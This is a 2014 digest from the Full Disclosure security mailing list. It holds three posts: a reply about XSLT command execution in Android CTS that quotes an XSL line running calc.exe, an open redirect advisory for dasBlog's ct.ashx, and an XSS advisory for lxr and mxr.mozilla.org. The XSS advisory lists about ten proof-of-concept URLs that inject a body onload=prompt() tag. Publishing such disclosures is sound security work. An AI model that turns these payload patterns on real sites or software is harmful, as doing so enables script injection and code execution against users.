Re: [FD] CVE request: remote code execution in Android CTS

2014-10-20 Thread Jann Horn
On Sun, Oct 19, 2014 at 07:28:33PM +1000, Lord Tuskington wrote:
 CTS parses api-coverage.xsl without providing the FEATURE_SECURE_PROCESSING
 option. See lines 60-67 of
 cts/tools/cts-api-coverage/src/com/android/cts/apicoverage/HtmlReport.java:
 
 InputStream xsl =
 CtsApiCoverage.class.getResourceAsStream(/api-coverage.xsl);

Is this file on the android device or on the PC?


xsl:variable name=Command![CDATA[calc.exe]]/xsl:variable

This causes calc.exe to be run on the PC, right?


signature.asc
Description: Digital signature

___
Sent through the Full Disclosure mailing list
http://nmap.org/mailman/listinfo/fulldisclosure
Web Archives  RSS: http://seclists.org/fulldisclosure/

[FD] CVE-2014-7292 Newtelligence dasBlog Open Redirect Vulnerability

2014-10-20 Thread Jing Wang
Exploit Title: Newtelligence dasBlog Open Redirect Vulnerability
Product: dasBlog
Vendor: Newtelligence
Vulnerable Versions: 2.3 (2.3.9074.18820) 2.2 (2.2.8279.16125)
2.1(2.1.8102.813)
Tested Version: 2.3 (2.3.9074.18820)
Advisory Publication: OCT 15, 2014
Latest Update: OCT 15, 2014
Vulnerability Type: Open Redirect [CWE-601]
CVE Reference: CVE-2014-7292
Risk Level: Low
CVSSv2 Base Score: 2.6 (AV:N/AC:H/Au:N/C:N/I:P/A:N)
Credit: Wang Jing [Mathematics, Nanyang Technological University, Singapore]




Advisory Details:

Newtelligence dasBlog ct.ashx is vulnerable to Open Redirect attacks.


dasBlog supports a feature called Click-Through which basically tracks all
links clicked inside your blog posts. It's a nice feature that allows the
blogger to stay informed what kind of content readers like. If
Click-Through is turned on, all URLs inside blog entries will be replaced
with URL to your blog/ct.ashx?id=Blog entry IDurl=URL-encoded
original URL which of course breaks WebSnapr previews.


Web.config code:
add verb=* path=ct.ashx
type=newtelligence.DasBlog.Web.Services.ClickThroughHandler,
newtelligence.DasBlog.Web.Services/


(1) The vulnerability occurs at ct.ashx? page, with url parameter.



Solutions:
2014-10-15 Public disclosure with self-written patch.




References:
http://www.tetraph.com/blog/cves/cve-2014-7292-newtelligence-dasblog-open-redirect-vulnerability/
https://searchcode.com/codesearch/view/8710666/
https://www.microsoft.com/web/gallery/dasblog.aspx
https://dasblog.codeplex.com/releases/view/86033
http://cwe.mitre.org
http://cve.mitre.org/

___
Sent through the Full Disclosure mailing list
http://nmap.org/mailman/listinfo/fulldisclosure
Web Archives  RSS: http://seclists.org/fulldisclosure/


[FD] Mozilla mozilla.org Two Sub-Domains ( Cross Reference) XSS Vulnerability ( All URLs Under the Two Domains)

2014-10-20 Thread Jing Wang
Domains:
http://lxr.mozilla.org/
http://mxr.mozilla.org/
(The two domains above are almost the same)




Websites information:
lxr.mozilla.org, mxr.mozilla.org are cross references designed to display
the Mozilla source code. The sources displayed are those that are currently
checked in to the mainline of the mozilla.org CVS server, Mercurial Server,
and Subversion Server; these pages are updated many times a day, so they
should be pretty close to the latest‑and‑greatest. (from Mozilla)




Vulnerability description:
All pages under the following two URLs are vulnerable.
http://lxr.mozilla.org/mozilla-central/source
http://mxr.mozilla.org/mozilla-central/source


This means all URLs under the above two domains can be used for XSS attacks
targeting Mozilla's users.

Since there are large number of pages under them. Meanwhile, the contents
of the two domains vary. This makes the vulnerability very dangerous.
Attackers can use different URLs to design XSS attacks to Mozilla's variety
class of users.

The vulnerability have been reported to bugzilla.mozilla.org. Mozilla are
dealing with this issue.




POCs:
http://lxr.mozilla.org/mozilla-central/source/body
onload=prompt(justqdjing)
http://lxr.mozilla.org/mozilla-central/source/mobile/android/body
onload=prompt(justqdjing)
http://lxr.mozilla.org/mozilla-central/source/Android.mk/body
onload=prompt(tetraph)
http://lxr.mozilla.org/mozilla-central/source/storage/public/mozIStorageBindingParamsArray.idl/body
onload=prompt(tetraph)
http://lxr.mozilla.org/mozilla-central/source/netwerk/protocol/device/AndroidCaptureProvider.cppbody
onload=prompt(tetraph)


http://mxr.mozilla.org/mozilla-central/source/body
onload=prompt(justqdjing)
http://mxr.mozilla.org/mozilla-central/source/webapprt/body
onload=prompt(justqdjing)
http://mxr.mozilla.org/mozilla-central/source/mozilla-config.h.in/body
onload=prompt(justqdjing)
http://mxr.mozilla.org/mozilla-central/source/chrome/nsChromeProtocolHandler.h/body
onload=prompt(tetraph)
http://mxr.mozilla.org/mozilla-central/source/security/sandbox/linux/x86_32_linux_syscalls.h/body
onload=prompt(tetraph)




POC Video:
https://www.youtube.com/user/tetraph




Vulnerability Analysis:
Take the following link as an example,
http://lxr.mozilla.org/mozilla-central/source/chrome/attacktest

We can see that for the page reflected, it contains the following codes.
a href=/mozilla-central/source/chrome/%253Cattacktest%253E
attacktest/attacktest
/a

If we insert body onload=prompt(justqdjing) into the URL, the code
can be executed.




The vulnerability can be attacked without user login. My tests were
performed on Firefox (26.0) in Ubuntu (12.04) and IE (9.0.15) in Windows 7.


Cross-site scripting (XSS) is a type of computer security vulnerability
typically found in Web applications. XSS enables attackers to inject
client-side script into Web pages viewed by other users. A cross-site
scripting vulnerability may be used by attackers to bypass access controls
such as the same origin policy. (From Wikipedia)




Posted By:
Wang Jing, mathematics student from Nanyang Technological University,
Singapore.
http://tetraph.com/wangjing/




More Details:
http://www.tetraph.com/blog/xss-vulnerability/mozilla-mozilla-org-two-sub-domains-cross-reference-xss-vulnerability-all-urls-under-the-two-domains/
http://lxr.mozilla.org/mozilla-central/source
http://mxr.mozilla.org/mozilla-central/source

___
Sent through the Full Disclosure mailing list
http://nmap.org/mailman/listinfo/fulldisclosure
Web Archives  RSS: http://seclists.org/fulldisclosure/